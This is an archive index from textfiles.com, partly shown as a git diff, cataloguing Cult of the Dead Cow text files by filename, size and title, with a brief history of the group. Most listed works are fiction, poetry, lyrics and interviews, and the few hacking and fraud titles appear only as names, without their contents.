 Interesting Things to Do With a Scanner by The Mad Hatter +
cDc-0197.txt 8687
 Ruth by Obscure Images +
cDc-0198.txt 13361
 Some General Observations by THE NIGHTSTALKER +
cDc-0199.txt 28988
 Presumed Guilty by Schneider, Flaherty +
cDc-0200.txt 124155
 The cDc #200 Higgledy-Piggledy-Big-Fat-Henacious-Mega-Mackadocious You-Can't-Even-Come-Close-So-Jump-Back-K-B00MIDY-B00MIDY-B00M File by Swamp Ratte' +
cDc-0201.txt 11765
 One Wrong Move by The Deth Vegetable +
cDc-0203.txt 12506
 The Briefing by Reid Fleming +
cDc-0204.txt 12720
 Life in General by Video Vindicator +
cDc-0205.txt 10321
 That Which Strikes Terror Into the Hearts of Men by Lady Carolin +
cDc-0206.txt 7205
 The Power of Art by THE NIGHTSTALKER +
cDc-0207.txt 6838
 F23 by Obscure Images +
cDc-0208.txt 3712
 A Visit to the Slaughterhouse by Transderm-Nitro +
cDc-0209.txt 16073
 Helmet Interview: July 17, 1992 by G.A. Ellsworth +
cDc-0210.txt 6669
 My Shit, and How to Strangle It by Tequila Willy +
cDc-0211.txt 7781
 Point of No Return by Dave Ferret +
cDc-0212.txt 125147
 The Krill File by O.H. Krill +
cDc-0213.txt 9472
 Smurf Impalement by Tequila Willy +
cDc-0214.txt 23171
 How to Break the Law by Anonymous +
cDc-0215.txt 4486
 Me As TV by Franken Gibe +
cDc-0216.txt 10857
 Amazingly True Things #2 by Swamp Ratte' +
cDc-0217.txt 22001
 Life in Wartime by The Deth Vegetable +
cDc-0218.txt 6121
 The Media and Campaign 1992 by Lewis & Morgan +
cDc-0219.txt 23060
 Sebadoh Interview: March 3, 1992 by G.A. Ellsworth +
cDc-0220.txt 10195
 A Child's Garden of Curses by Lady Carolin +
cDc-0221.txt 4761
 Sickness by Franken Gibe +
cDc-0222.txt 14919
 A Day in the Life of Debbie G1bs0n by The Madwoman +
cDc-0223.txt 22376
 The B!G Envelope Stuffing Scam by Hanover Fiste +
cDc-0224.txt 11074
 The Bird by Obscure Images +
cDc-0225.txt 9276
 Tequila Willy's Position Paper by Reid Fleming & Omega +
cDc-0226.txt 15600
 Simple Cryptology by Dave Ferret +
cDc-0227.txt 9835
 Big Ol' Heaping Pile of Shit by Suicidal Maniac +
cDc-0228.txt 25540
 ISDN: Fucking the Vacuum Cleaner Attachments by Reid Fleming +
cDc-0229.txt 17964
 The Evil Truth About Peter Pan by Lady Carolin +
cDc-0230.txt 7145
 The 2:00 O'Clock Bus by Tequila Willy & Bambi the Usurper +
cDc-0231.txt 12370
 Sunday Night Inside the Net by Obscure Images +
cDc-0232.txt 12369
 Fred, the Boy Everyone Hated by Allen Williams +
cDc-0233.txt 13174
 Desert Road Dick Disaster by Lady Carolin & Renee O'Willsie +
cDc-0234.txt 4219
 Hybrid Vigor by Curtis Yarvin +
cDc-0235.txt 4353
 Somethin' by Franken Gibe +
cDc-0236.txt 6341
 Easy Rider II by Erik Radmall +
cDc-0237.txt 6778
 The Fart of War by Havok Halcyon +
cDc-0238.txt 9446
 Clubbing by Xibo (Mr. Coates) +
cDc-0239.txt 10541
 Truckin' an' Fuckin' by Omega +
cDc-0240.txt 15805
 Condors, Ganja, Rah Rah Rah! by Clifton Royston & kEvin +
cDc-0241.txt 31373
 Cell-Hell by Video Vindicator +
cDc-0242.txt 25885
 The Darkroom by Mark Vaxlov +
cDc-0243.txt 9354
 Fortune Smiles by Obscure Images +
cDc-0244.txt 5216
 Radiocarbon Dating Service by Markian Gooley +
cDc-0245.txt 39106
 The U.S. Mercenary Army by Phil Agee +
cDc-0246.txt 14227
 The Monolith by Daniel Steven Reinker +
cDc-0247.txt 7100
 Post-Election '92 Cult Coverage by Omega +
cDc-0248.txt 4274
 The Lunatic Crown by Matthew Legare +
cDc-0249.txt 7410
 Yet Another Suicide by The Mad Hatter +
cDc-0250.txt 4513
 State of Seige by Curtis Yarvin +
cDc-0251.txt 6352
 The False Prophets by Lady Carolin +
cDc-0252.txt 7319
 The Bishop by Curtis Yarvin +
cDc-0253.txt 29157
 Better, Stronger, Faster by Omega, Reid Fleming & White Knight +
cDc-0254.txt 7091
 Hung Like a Horse by Krass Katt +
cDc-0255.txt 8591
 Mess o' Top Ten Lists by The Deth Vegetable & Iskra +
cDc-0256.txt 11127
 Fecal George by David Humphrey +
cDc-0257.txt 7355
 Goodnight, Benjamin by Tequila Willy +
cDc-0258.txt 15470
 Spontaneous Combustion and the Aryan Parade by FLaMinG SeVeReD HeaD +
cDc-0259.txt 15198
 The HoHoCon 1993 Experience by Count Zero +
cDc-0260.txt 6904
 Vegas, 1976 by Mad Mac +
cDc-0261.txt 71913
 Interview with Greta Shred by Reid Fleming +
cDc-0262.txt 23194
 _Beverly Hills 90210_ as Nostalgia Television by Crystal Kile +
cDc-0263.txt 25747
 What Color Is the Sky in Your World? by Tequila Willy +
cDc-0264.txt 42163
 Chicken Hawk by Mark E. Dassad +
cDc-0265.txt 10385
 Eye-r0N-EE by Swamp Ratte' +
cDc-0266.txt 6547
 Interview with Barbie by Clench +
cDc-0267.txt 4261
 About a Boy by Franken Gibe +
cDc-0268.txt 9039
 Mall Death by Snarfblat +
cDc-0269.txt 24351
 Prophile: Future History by THE NIGHTSTALKER +
cDc-0270.txt 8737
 Time out for Pop by Malcolm D. Moore +
cDc-0271.txt 12468
 Alvin Harper, Teen Killer by Krass Katt +
cDc-0272.txt 4762
 Curious Lack of Vigor by Clench +
cDc-0273.txt 4402
 Dumb and Isolated by Franken Gibe +
cDc-0274.txt 5316
 MaxiSpak Banana by R.M. Wood +
cDc-0275.txt 100047
 Joseph Smith: Man, Yes; Myth, Maybe; Prophet, NEVER! by Krass Kat +
cDc-0276.txt 7452
 Accessory by Orion +
cDc-0277.txt 114173
 RUSH TO JUDGEMENT: Why the World Won't End in September, 1994 by Omega & Reid Fleming +
cDc-0278.txt 8743
 Slowing by Tom Fawcett +
cDc-0279.txt 4665
 Hammers by Obscure Images +
cDc-0280.txt 7094
 Caught in the Spotlight by Peder Ast +
cDc-0281.txt 4952
 Official cDc Press Release Concerning President Reagan by Reid Fleming +
cDc-0282.txt 5209
 Argument by Markian Gooley +
cDc-0283.txt 15173
 Possibilities by Obscure Images +
cDc-0284.txt 13111
 Sanford's Calico by James Cazamias +
cDc-0285.txt 21249
 Concise Guide to Forgetting How Much You Suck by Jason Farnon +
cDc-0286.txt 10607
 The Divine Masters by Shriek Broomstraw +
cDc-0287.txt 5707
 Shotgun by Swamp Ratte' +
cDc-0288.txt 6246
 Rejection Letter Blues by Jeff Swanson +
cDc-0289.txt 19954
 Can There Be Artificial Intelligence? by Tequila Willy +
cDc-0290.txt 6306
 Bob Takes a Trip by Special Agent Finerty +
cDc-0291.txt 5287
 How The Grendel Stole Christmas by Annie +
cDc-0292.txt 5821
 Your Hometown by Jason D. Corley +
cDc-0293.txt 5265
 Santa Chulo by Ed Long +
cDc-0294.txt 6153
 At the Dining Hall by Tom Boutell +
cDc-0295.txt 13140
 A Christmas Pony by Grr Raoul Leash +
cDc-0296.txt 4142
 The Healer by Heckler +
cDc-0297.txt 4860
 Boxing Day by Patrick Burton +
cDc-0298.txt 5312
 The Pope Review by Curtis Yarvin +
cDc-0299.txt 6103
 Loneliest Being in the World by Broken Symmetry +
cDc-0300.txt 91289
 COWBEATER #3 by The cDc Cultees +
cDc-0301.txt 12026
 Ugly Fucker by Mark E. Dessad +
cDc-0302.txt 6636
 CULT OF THE DEAD COW Sought In Obscenity Case by WeaselBoy & Lizard +
cDc-0303.txt 8328
 How to Get By When You're Just As Dumb As Everyone Else, but Uglier by Snarfblat +
cDc-0304.txt 34392
 HoHoCon 1994.txt Tremendous Damage by Count Zero +
cDc-0305.txt 9055
 Last of the Expressionists by Haywire +
cDc-0306.txt 10272
 The Coward's Guide to Self-Defense by Sunspot +
cDc-0307.txt 12915
 mE t0o!@cDc-0$ by Mogel +
cDc-0308.txt 15622
 The Gnu-Warez Kidz' Guide to Pirating on the Internet by Tarkin Darklighter +
cDc-0309.txt 5805
 The Zen of Skateboarding, Part 1: Autumn Foliage by Thoai Tran +
cDc-0310.txt 6963
 Slough Off That Pagan Lust by Obscure Images +
cDc-0311.txt 9888
 If Six Was Nine by OXblood Ruffin +
cDc-0312.txt 16793
 Chick Comix by Craig Becker +
cDc-0313.txt 9717
 My Night Out by Obscure Images +
cDc-0314.txt 4937
 Gravity by James Cazamias +
cDc-0315.txt 11060
 Like Father, Like... by Sunspot +
cDc-0316.txt 5239
 My Bug-Pal by Nik +
cDc-0317.txt 5642
 Memory of Timothy Leary by WeaselBoy +
cDc-0318.txt 8286
 Streets of Beijing ("Four Year Anniversary") by Morrisa Sherman +
cDc-0319.txt 5432
 Zen of Skateboarding, Part 2: Revelation by Thoai Tran +
cDc-0320.txt 17590
 TEMPEST in a Teapot by Grady Ward +
cDc-0321.txt 13934
 Nineteen Seventy-Seven by OXblood Ruffin +
cDc-0322.txt 8318
 Pariah '67 by Matt Brown +
cDc-0323.txt 9928
 CYBERsitter by Peacefire +
cDc-0324.txt 13182
 Painted Stranger by WeaselBoy +
cDc-0325.txt 5782
 Zen of Skateboarding, Part 3: Flowing Stream by Thoai Tran +
cDc-0326.txt 7366
 The Great Southern Fire God by John Crow +
cDc-0327.txt 14006
 Vulnerabilities in the S/KEY One-Time Password System by Mudge +
cDc-0328.txt 4389
 Pantslessness by Mark Buda +
cDc-0329.txt 4826
 Quadro-Pounder by Drunkfux +
cDc-0330.txt 5817
 Happyland Cell Block 90210 by G. Allen Perry +
cDc-0331.txt 5213
 Angry Sun by Franken Gibe +
cDc-0332.txt 5613
 Don't Talk to Cops by Robert W. Zeuner +
cDc-0333.txt 5736
 BELLKORE Exposed! by Oderus Urungus +
cDc-0334.txt 8577
 How to be an Anarchist at 7-11 by Snarfblat +
cDc-0335.txt 8155
 Milk and Blood by Lady Carolin +
cDc-0336.txt 7986
 I'd Rather be Dead than Live in California by Oxblood Ruffin +
cDc-0337.txt 16904
 Reid Fleming: Lady Killer by Reid Fleming +
cDc-0338.txt 9263
 Who's Gonna Get Screwed Today? NetBIOS Attacks over TCP by SirDystic +
cDc-0339.txt 12090
 Political Rant #1 by THE NIGHTSTALKER +
cDc-0340.txt 8003
 Hacking PC/Payroll for Windows by Tarkin Darklighter +
cDc-0341.txt 7860
 R.I.P. by Poppy Z. Brite +
cDc-0342.txt 13117
 Wuss Vandals Get Hassled by the Man by Rev. Anna Truwe +
cDc-0343.txt 17399
 Some Form of Success by Weaselboy +
cDc-0344.txt 18830
 Wackers: The Secret Life of a 'Fantasy Maker' by Isis +
cDc-0345.txt 9090
 A Day Off for DrunkFux by DrunkFux +
cDc-0346.txt 5224
 The Man With The Creosote Grin by Oxblood Ruffin +
cDc-0347.txt 4555
 SPANK MY MONKEY by Lady Carolin +
cDc-0348.txt 6948
 When Cults Collide by The Nightstalker +
cDc-0349.txt 8447
 High School Reunion: The Nardcore Adventures of Reid Fleming by Reid Fleming +
cDc-0350.txt 6586
 Where Have My Heroes Gone? by KSM +
cDc-0352.txt 13598
 Remembrance of Things Past by Pixie +
cDc-0353.txt 6185
 Pulp Philosophy by Shadeshifter +
cDc-0354.txt 11332
 Unchained by Isis +
cDc-0355.txt 8347
 Shit-Burnin' by Cal Jacobson +
cDc-0356.html 27761
 The Longer March by Oxblood Ruffin +
cDc-0358.txt 17905
 San Francisco Cab Driver Stories by G.A. Ellsworth +
cDc-0359.txt 6034
 Dark Harvest by Sangfroid +
cDc-0360.html 22755
 The Journalist's Cookbook v1.0 by Reid Fleming +
camping.trip 3200
 The Camping Trip, by Franken Gibe of Cult of the Dead Cow (1988) +
cdc-0356.txt 27870
 CDC #356: The Longer March, by Oxblood Ruffin (July 15, 1998) +
cdc-0357.txt 5874
 CDC #357: Desecreating the Flag, by The Nightstalker (July 15, 1998) +
cdc-0360.txt 18726
 CDC #360: The Journalist's Cookbook, by Reid Fleming (July 15, 1998) +
cdc-dist 15323
 January 1st, 1993 List of cDc Distribution Sites +
cdc.press.rls 7168
 CDC Press Release, Lubbock Tx. (August 18, 1994) +
cdcdist.txt 22531
 July 1, 1993 list of cDc Distribution Sites +
cdchype.txt 987
 CDC Invites you to read CDC4_93 +
cdcindex.txt 17388
 cDc Communications Index (July 1, 1993) +
cdckc0w.txt 3279
 CDC-kC0W Phorce Introduction (April 1, 1993) +
cdcup12.txt 7103
 CDC Global Domination Update #12 (April 1st, 1993) +
cdcup13.txt 8460
 CDC Global Domination Update #13 (July 1st, 1993) +
cow.san 13184
 Cow-San, by Necrovore of Cult of the Dead Cow (1988) +
cyberpunk.rules 768
 Cyberpunk: The Rules (17 of Them) +
dance.of.cow 5120
 Dance of the Cow by Akira of Cult of the Dead Cow (1990) +
dead_cow.txt 33901
 Transcription of an Interview with Deth Veggie and Sir Dystic of Cult of the Dead Cow for "Cyber Attack!", an Episode of the BBS Program "Panorama" (July 3, 2000) +
death.bovine 7680
 Death and the Bovine, by lady Carolin, Priestess of the Cow (1989) +
eye.am.a.modeme 2048
 Eye Am A Modemer (Parody of Eye of the Beholder by Metallica by Morpheous of LOM) +
fatal.attract 7168
 Fatal Attraction For Real, by G.A. Ellsworth of Cult of the Dead Cow (1990) +
fuck.the.world 3968
 Fuck the World by Swamp Rat of Cult of the Dead Cow (1988) +
gun.control 4608
 Gun Control by The Pusher of Cult of the Dead Cow (1989) +
institutional 13056
 Institutionalized by Necrovore/Raver of Cult of the Dead Cow (1988) +
metal.geek.saga 6656
 Geek: The Saga Continues by The Pusher of Cult of the Dead Cow (1988) +
nameless.pastur 11520
 The Nameless Pasture by The Ravel, Teller of Strange Legends (1988) +
pizza.fest 2816
 A Trip to Nostalgia, a Trip to PowerPizzaFest! (November 15, 1994) +
prophecy.of.cow 3712
 The Prophecy of Cow by Franken Gibe of Cult of the Dead Cow +
renegade.cows 2560
 Renegade Cows by HAL 8999 of Cult of the Dead Cow (1986) +
scotty.sex.deth 4608
 Scotty's Tale of Sex and Death by Racer X (1988) +
second.txt 6255
 Creative Writing, Second Grade Style by Hanover Fiste (Critiques of His Own Work from Second Grade) +
song.of.the.cow 1920
 The Song of the Cow, a Poem, by Psychadelic Warlord of Cult of the Dead Cow (May 5, 1988) +
sunday 16384
 Sunday, by Peter Flechette of Cult of the Dead Cow (1990) +
tale.two.sexes 7040
 A Tale of Two Sexes, by Swamp Rat of Cult of the Dead Cow (1988) +
telenet.thingie 17792
 The Only Way to Get Telenet Thingies by Tequila Willy of Cult of the Dead Cow (1988) +
the.flesh.man 25728
 The Flash Man by Richard Avis of Cult of the Dead Cow (1989) +
the.reel.way 9088
 The Reel Way, or How to Win the Ego Wars by The Pusher and Leper Messiah of Cult of the Dead Cow (1988) +
three.cows 5504
 The Three Cows, by Lady Carolin (1990) +
trail.of.blood 8704
 Trail of Blood, by Sunspot of Cult of the Dead Cow (1988) +
ultra21.txt 172926
 ULTRA 21: A Guide to Boxing (Compilation of Files) by Sinister X (1993) +
visions.crusade 3456
 Visions from the Last Crusade, by Psychedelic Warlord (1988) +
yo.ramsacker 1408
 Some Thoughts on Textfiles from Swamp Ratte' of Cult of the Dead Cow +
yo.s.ratte 896
 Message to Swamp Ratte' About The Polka AE +

There are 410 files for a total of 5,121,742 bytes.

+ + diff --git a/textfiles.com/groups/CDC/.windex.html b/textfiles.com/groups/CDC/.windex.html new file mode 100644 index 00000000..c30a5b79 --- /dev/null +++ b/textfiles.com/groups/CDC/.windex.html @@ -0,0 +1,458 @@ + +T E X T F I L E S + +

Groups: The Cult of the Dead Cow

+

+The Cult of the Dead Cow (cDc) rose in 1985, joining the sea of textfile +groups that dominated the BBS scene. The majority of files they came out +with in the beginning centered around anarchy, heavy metal, and odd +stories. By sheer tenacity of will, they continue as a group to present +time, and therefore have lasted well over a decade. This makes them the +oldest surviving textfile group in existence. +

+With well over three hundred files in their library, cDc has left +almost no textfile subject untouched. Besides the ubiquitous phreaking, +hacking, and anarchy files, members have written poetry, fiction, +music lyrics, erotica, and Scene news stories. By constantly reviewing +their membership rolls and taking on new members when older ones retire, +the group has stayed fresh and active as an entity. + +

+Through the general slowdown of the early 1990's, cDc repositioned +itself as a brand name by dint of the addition of Skeeve/Deth Vegetable, +whose own media awareness (interviews on Dateline NBC and other outlets) +ensured that Cult of the Dead Cow would recieve press and recieve much +of it. cDc got into the business of clothing and stickers, and did a +remarkable job of preserving its own heritage even as the majority of +users moved from BBSs to the internet. Members of cDc are now routinely +contacted by media when the opinion of the "underground" is sought or +at least pursued. + +

+In recent years the cDc has gained nationwide notoriety for its work with +security-checking programs (a further expansion of the brand name) such as +Back Orifice, which provides remote administration of Windows 95 +and NT machines. +

+The Cult of the Dead Cow have a web site at +www.cultdeadcow.com. +

+ + + + + +
+
Filename
Size
Description of the Textfile
aomt4.asc 830
 AD: Ahead of My Time BBS +
arcusnet.faq 7137
 The ArcusNET Faq by Mephistopholes (November 2nd, 1994) +
bear.trap.love 12800
 The Bear Trap of Love by krass Katt (1989) +
bert.the.poem 6528
 Bert: The Poem, from Racer X of Cult of the Dead Cow (1990) +
book.of.cow 7296
 The Book of Cow by the Cult of the Dead Cow (1987) +
boredom.innocen 5504
 Boredom and Innocence by Obscure Images of the Cult of the Dead Cow (1991) +
bovine.death 4736
 Bovine Death, by The Raver of Cult of the Dead Cow (1988) +
bovine.epic 2688
 The Bovine Epic of Creation, by High Priest and Franken Gibe +
bovinomicon 7168
 History of the Bovinomicon by The Raver (1988) +
bunny.lust 5632
 Ted and Dave's Animal Fun: Session I: Bunny Lust, by Tippy Turtle (1987) +
burntheflag 6272
 Burn the Flag! by Bloody Afterbirth (Toxic File #66) +
bus.driver 7424
 The Bus Driver by Scum of Cult of the Dead Cow (1989) +
cDc-0001.txt 3356
 Gerbil Feed Bomb by Swamp Rat +
cDc-0002.txt 14946
 Wizardry Docs by Swamp Rat +
cDc-0003.txt 9236
 Wizardry Spells by Swamp Rat +
cDc-0004.txt 18689
 Rescue Raiders Docs by Swamp Rat +
cDc-0005.txt 2460
 Renegade Cows by HAL 9000 +
cDc-0006.txt 4758
 Assembly Fun by Sid Vicious +
cDc-0007.txt 2965
 Slow Death by Swamp Rat +
cDc-0008.txt 7209
 Book of Cow by Franken Gibe +
cDc-0009.txt 4735
 Society Sucks by Psychotic Opposition +
cDc-0010.txt 9173
 P.E.A.C.E. by Psychotic Opposition +
cDc-0011.txt 15364
 Suicidal Tendencies-Join the Army (lyrics) by Wasted Pandemonium +
cDc-0012.txt 8600
 Metallica-Master of Puppets (lyrics) by Swamp Rat +
cDc-0013.txt 7009
 NPA List by Franken Gibe +
cDc-0014.txt 17971
 UNIX Bible by Franken Gibe +
cDc-0015.txt 19389
 Yellow Pages Vol.I by Franken Gibe +
cDc-0016.txt 4435
 A Fucked Life by Swamp Rat +
cDc-0017.txt 3856
 Gnu Christmas Story by Franken Gibe +
cDc-0018.txt 5525
 Bunny Lust by Tippy Turtle +
cDc-0019.txt 15818
 Thompson and Ackeret: Trashing by The Daredevil +
cDc-0020.txt 7345
 B00G and the art of ZEN by Anarchy Inc. +
cDc-0021.txt 3983
 The Cold Truth by 2600 +
cDc-0022.txt 6211
 How to Card Shit, When You Live With Your 'rents by L.E. Pirate +
cDc-0023.txt 8487
 The Story of a Mercenary by Lord Omega +
cDc-0024.txt 4891
 EZ Destruction by Dial Tone +
cDc-0025.txt 13322
 Method of Destruction-USA for MOD (lyrics) by Swamp Rat +
cDc-0026.txt 6310
 The Phone Sex Scandal by L.E. Pirate +
cDc-0027.txt 7724
 Frankie's Fireside Phreak Primer by Franken Gibe +
cDc-0028.txt 23835
 Yellow Pages Vol.II by Franken Gibe +
cDc-0029.txt 7347
 Cow Chronicles #1 by Franken Gibe +
cDc-0030.txt 2566
 The Bovine Epic of Creation by Franken Gibe +
cDc-0031.txt 3752
 A Feature on MONEY - Today's Monster by Psychedelic Warlord +
cDc-0032.txt 8178
 Dirty Rotten Imbeciles-Crossover (lyrics) by Swamp Rat +
cDc-0033.txt 3649
 Fun With Traffic Lights by Dial Tone +
cDc-0034.txt 19295
 Dead Kennedys-Give Me Convenience...(lyrics) by Suicidal Amoeba +
cDc-0035.txt 6958
 Scarfing by Suicidal Amoeba +
cDc-0036.txt 18551
 On BLACK FLAG... by Suicidal Amoeba +
cDc-0037.txt 3540
 A Few Good Songs off of Eat Your Paisley by Psychedelic Warlord +
cDc-0038.txt 5002
 Area Code and Time Zone List by Dial Tone +
cDc-0039.txt 3928
 Fuck The World by Swamp Rat +
cDc-0040.txt 8687
 Sex With Satan (dist.) by Psycoe +
cDc-0041.txt 18917
 The Mentors-Up the Dose (lyrics) by Mr. Drunkfux +
cDc-0042.txt 3650
 Apple Shape Tables by The Dark Static +
cDc-0043.txt 10649
 Metallica-Kill 'Em All (lyrics) by Swamp Rat +
cDc-0044.txt 4758
 Mail Fraud by L.E. Pirate +
cDc-0045.txt 3664
 Beaming Dream: a poem by Tequila Willy +
cDc-0046.txt 6495
 Fun With Small Animals and Other Household Pets by Sunspot +
cDc-0047.txt 11830
 Hacking Into Hell by The Raver +
cDc-0048.txt 7674
 Evil Poetry: Vol. I by The Raver +
cDc-0049.txt 3815
 The Queen is Dead: a poem by Sunspot +
cDc-0050.txt 1794
 The Song of the Cow: a poem by Psychedelic Warlord +
cDc-0051.txt 8769
 The Day My Kid Turned Punk by The Dark Static +
cDc-0052.txt 45404
 Cross Of Iron 1.1 by The Raver/editor +
cDc-0053.txt 45363
 Cross Of Iron 1.2 by The Raver/editor +
cDc-0054.txt 46221
 Cross Of Iron 1.3 by The Raver/editor +
cDc-0055.txt 2006
 About Cross Of Iron #1 by The Raver +
cDc-0056.txt 3651
 The Prophecy of Cow by Franken Gibe +
cDc-0057.txt 7109
 History of the Bovinomicon by The Raver +
cDc-0058.txt 11407
 The Nameless Pasture by The Raver +
cDc-0059.txt 8842
 Interview With Neo-Nazi 'Ausderau' by Psychedelic Warlord +
cDc-0060.txt 10910
 Megadeth-so far, so good...so what! (lyrics) by Swamp Rat +
cDc-0061.txt 4720
 Bovine Death by The Raver +
cDc-0062.txt 4524
 Scotty's Tale of Sex and Death by Racer X +
cDc-0063.txt 3981
 Sesame St. Possession by Swamp Rat +
cDc-0064.txt 8639
 Death Angel-Frolic through the park (lyrics) by Swamp Rat +
cDc-0065.txt 7927
 Agnostic Front-Liberty & Justice For...(lyrics) by Racer X +
cDc-0066.txt 10779
 Dayglo Abortions-here today guano tomorrow(lyrics) by Swamp Rat +
cDc-0067.txt 26124
 Thrasher's Metallica Interview Part 1 by Racer X +
cDc-0068.txt 20886
 Thrasher's Metallica Interview Part 2 by Racer X +
cDc-0069.txt 8374
 Testament-The New Order (lyrics) by Swamp Rat +
cDc-0070.txt 1379
 The cDc compilation: volume one (Apple II/2 sides) by Swamp Rat/editor +
cDc-0071.txt 17667
 The *ONLY* Way To Get Telenet Thingies by Tequila Willy +
cDc-0072.txt 9572
 Toxik-World Circus (lyrics) (dist.) by The Omen +
cDc-0073.txt 3387
 Visions From The Last Crusade by Psychedelic Warlord +
cDc-0074.txt 3091
 The Camping Trip by Franken Gibe +
cDc-0075.txt 13167
 Metallica-...And Justice For All (lyrics) by Swamp Rat +
cDc-0076.txt 12989
 Institutionalized by Necrovore +
cDc-0077.txt 3732
 Held Captive by Racer X +
cDc-0078.txt 8822
 Danzig (lryics) by Racer X +
cDc-0079.txt 4332
 The True Story of Cult of the Dead Cow by Psychedelic Warlord +
cDc-0080.txt 3237
 ...a Slayer kind of day... by G.A. Ellsworth +
cDc-0081.txt 8577
 Trail of Blood by Sunspot +
cDc-0082.txt 6635
 Geek: The Saga Continues by The Pusher +
cDc-0083.txt 16153
 Lyrics to Both Youth Of Today Albums by The Pusher +
cDc-0084.txt 12258
 Big Black Interview by G.A. Ellsworth +
cDc-0085.txt 8242
 cDc core #1 by The Pusher +
cDc-0086.txt 7367
 Screwdriver Flippin' by Sunspot +
cDc-0087.txt 6951
 A Tale of Two Sexes by Swamp Rat +
cDc-0088.txt 3493
 Armageddon's Coming: a poem by Sunspot +
cDc-0089.txt 1415
 The cDc compilation: volume two (Apple II/2 sides) by Swamp Rat/editor +
cDc-0090.txt 13105
 Cow-San by Necrovore +
cDc-0091.txt 9077
 The Reel Way by The Pusher +
cDc-0092.txt 5511
 "Group Revue" by The Pusher +
cDc-0093.txt 5813
 Las Vegas Mutantz From Hell! by The Pusher +
cDc-0094.txt 2937
 Fighting - The Clean Way! by The Pusher +
cDc-0095.txt 12645
 Impresario: Malcom McLaren and the British New... by The Pusher +
cDc-0096.txt 16945
 Dead Kennedys-Plastic Surgery Disasters (lyrics) by Necrovore +
cDc-0097.txt 8971
 Twisted Reality by Necrovore +
cDc-0098.txt 7984
 On The Porch Swing by Suzy Rust +
cDc-0099.txt 11590
 Top Gun by Don Howland +
cDc-0100.txt 43563
 The cDc #100 BamBam File by The cDc cultees +
cDc-0101.txt 8737
 cDc core #2 by The Pusher +
cDc-0102.txt 10557
 FUGAZI lyrics by G.A. Ellsworth +
cDc-0103.txt 5356
 cDc core #2 1/2 by The Pusher +
cDc-0104.txt 4528
 Gun Control by The Pusher +
cDc-0105.txt 23922
 POetRIE by Obscure Images +
cDc-0106.txt 7507
 Dream Tripped by Racer X +
cDc-0107.txt 7695
 cDc core #3 by The Pusher +
cDc-0108.txt 3777
 The End by Obscure Images +
cDc-0109.txt 26588
 A Feeling of Electricity In the Air by Jennifer Petkus +
cDc-0110.txt 25662
 The Flesh Man by Richard Avis +
cDc-0111.txt 15394
 Jack and Jack by Obscure Images +
cDc-0112.txt 12851
 Beautiful Stories for Ugly Children #1 by Krass Katt +
cDc-0113.txt 1353
 The cDc compilation: volume three (Ap2/2 sides) by Swamp Rat +
cDc-0114.txt 7556
 cDc core #4 by The Pusher +
cDc-0115.txt 12755
 Bear Trap of Love by Krass Katt +
cDc-0116.txt 6893
 A Slight Miscalculation by Bob Cram +
cDc-0117.txt 5133
 Lost Love by Egyptian Alchemist +
cDc-0118.txt 4954
 A Moment In Time by Obscure Images +
cDc-0119.txt 41721
 Retrospective Rock by The Pusher +
cDc-0120.txt 7382
 The Bus Driver by Scum +
cDc-0121.txt 7183
 Ultra Trendies by Psychedelic Warlord +
cDc-0122.txt 5698
 David and Goliath: Goliath's Point of View by Leper Messiah & Swamp R. +
cDc-0123.txt 19276
 Beautiful Stories for Ugly Children #2 by Dave Louapre +
cDc-0124.txt 4761
 It Hurts and Won't Make You Better by Obscure Images +
cDc-0125.txt 16342
 Sunday by Peter Flechette +
cDc-0126.txt 7625
 Stud Muffin R0dent by Tequila Willy +
cDc-0127.txt 7172
 Double Feature by The Dark Static +
cDc-0128.txt 7663
 Death and The Bovine by Lady Carolin +
cDc-0129.txt 9412
 Credit Card Fraud Ideas by L.E. Pirate +
cDc-0130.txt 5002
 My Day With The Dentist by Psychedelic Warlord +
cDc-0131.txt 5436
 The Three Cows by Lady Carolin +
cDc-0132.txt 3988
 The Wild One by Obscure Images +
cDc-0133.txt 6143
 White Rodent's Short Story Lump by White Rodent +
cDc-0134.txt 7436
 cDc core #5 by The Pusher +
cDc-0135.txt 6095
 Trickledown by Josh Whalen +
cDc-0136.txt 7831
 The Coming of Angels by Obscure Images +
cDc-0137.txt 7920
 Mourning in America by Steve Ross +
cDc-0138.txt 14920
 Life Sentence by The Pusher +
cDc-0139.txt 6486
 Bert: The Poem by Racer X +
cDc-0140.txt 19789
 The Burn Turns Two Into One - Part 1 by Obscure Images +
cDc-0141.txt 13381
 Smothered Hope by Obscure Images +
cDc-0142.txt 7150
 Fatal Attraction for Real by G.A. Ellsworth +
cDc-0143.txt 8330
 Inject Me by Obscure Images +
cDc-0144.txt 7278
 Whose Morality? by Tequila Willy +
cDc-0145.txt 10851
 Sanctified by Obscure Images +
cDc-0146.txt 6822
 Mudhoney Interview by G.A. Ellsworth +
cDc-0147.txt 4993
 Dance of the Cow by Akira +
cDc-0148.txt 10117
 The Burn Turns Two Into One - Part 2 by Obscure Images +
cDc-0149.txt 10225
 Rural Hell by THE NIGHTSTALKER +
cDc-0150.txt 23017
 INJUSTICE FOR ALL: A Guide to U.S. Pot Laws by Judy McGuire +
cDc-0151.txt 41594
 Sex, Ecstasy and the Psychedelic Drugs by R.E.L. Masters +
cDc-0152.txt 11074
 cDc core #6 by The Pusher +
cDc-0153.txt 15638
 Excerpts from BLADE BARRIER Book #3 by Dean Tetreault +
cDc-0154.txt 5949
 The Jolly One by The Usenet Oracle +
cDc-0155.txt 31083
 No Experience Necessary by The Pusher +
cDc-0156.txt 16693
 The Happy Machine by Obscure Images +
cDc-0157.txt 16746
 Jack and Jack (revised) by Obscure Images +
cDc-0158.txt 5003
 That Dirty Beach by Tequila Willy +
cDc-0159.txt 5493
 Boredom and Innocence by Obscure Images +
cDc-0160.txt 10186
 Story of an Alternative Lifestyle by The Pusher +
cDc-0161.txt 19764
 A Kinder, Gentler Nation by Tequila Willy +
cDc-0162.txt 8743
 Until the Next Time by Obscure Images +
cDc-0163.txt 7389
 UPSetting by Axiom Codex & Lazar +
cDc-0164.txt 6661
 BEYOND GOOD AND EVIL - A Contemporary Interp... by Tequila Willy +
cDc-0165.txt 23938
 Winnie the Pooh - Part 1 by A.A. Milne +
cDc-0166.txt 39143
 Silent Applause Part 1 of 2 by The Pusher +
cDc-0167.txt 41232
 Silent Applause Part 2 of 2 by The Pusher +
cDc-0168.txt 6688
 Bank Fraud by White Knight +
cDc-0169.txt 8702
 Amerika's Most Wanted by Lady Carolin +
cDc-0170.txt 9210
 My Grey Matter by Tequila Willy +
cDc-0171.txt 13474
 Clockwork by Obscure Images +
cDc-0172.txt 6053
 Wet-Mount Slide by Tequila Willy +
cDc-0173.txt 3909
 Urban Womb by EnTrOpY +
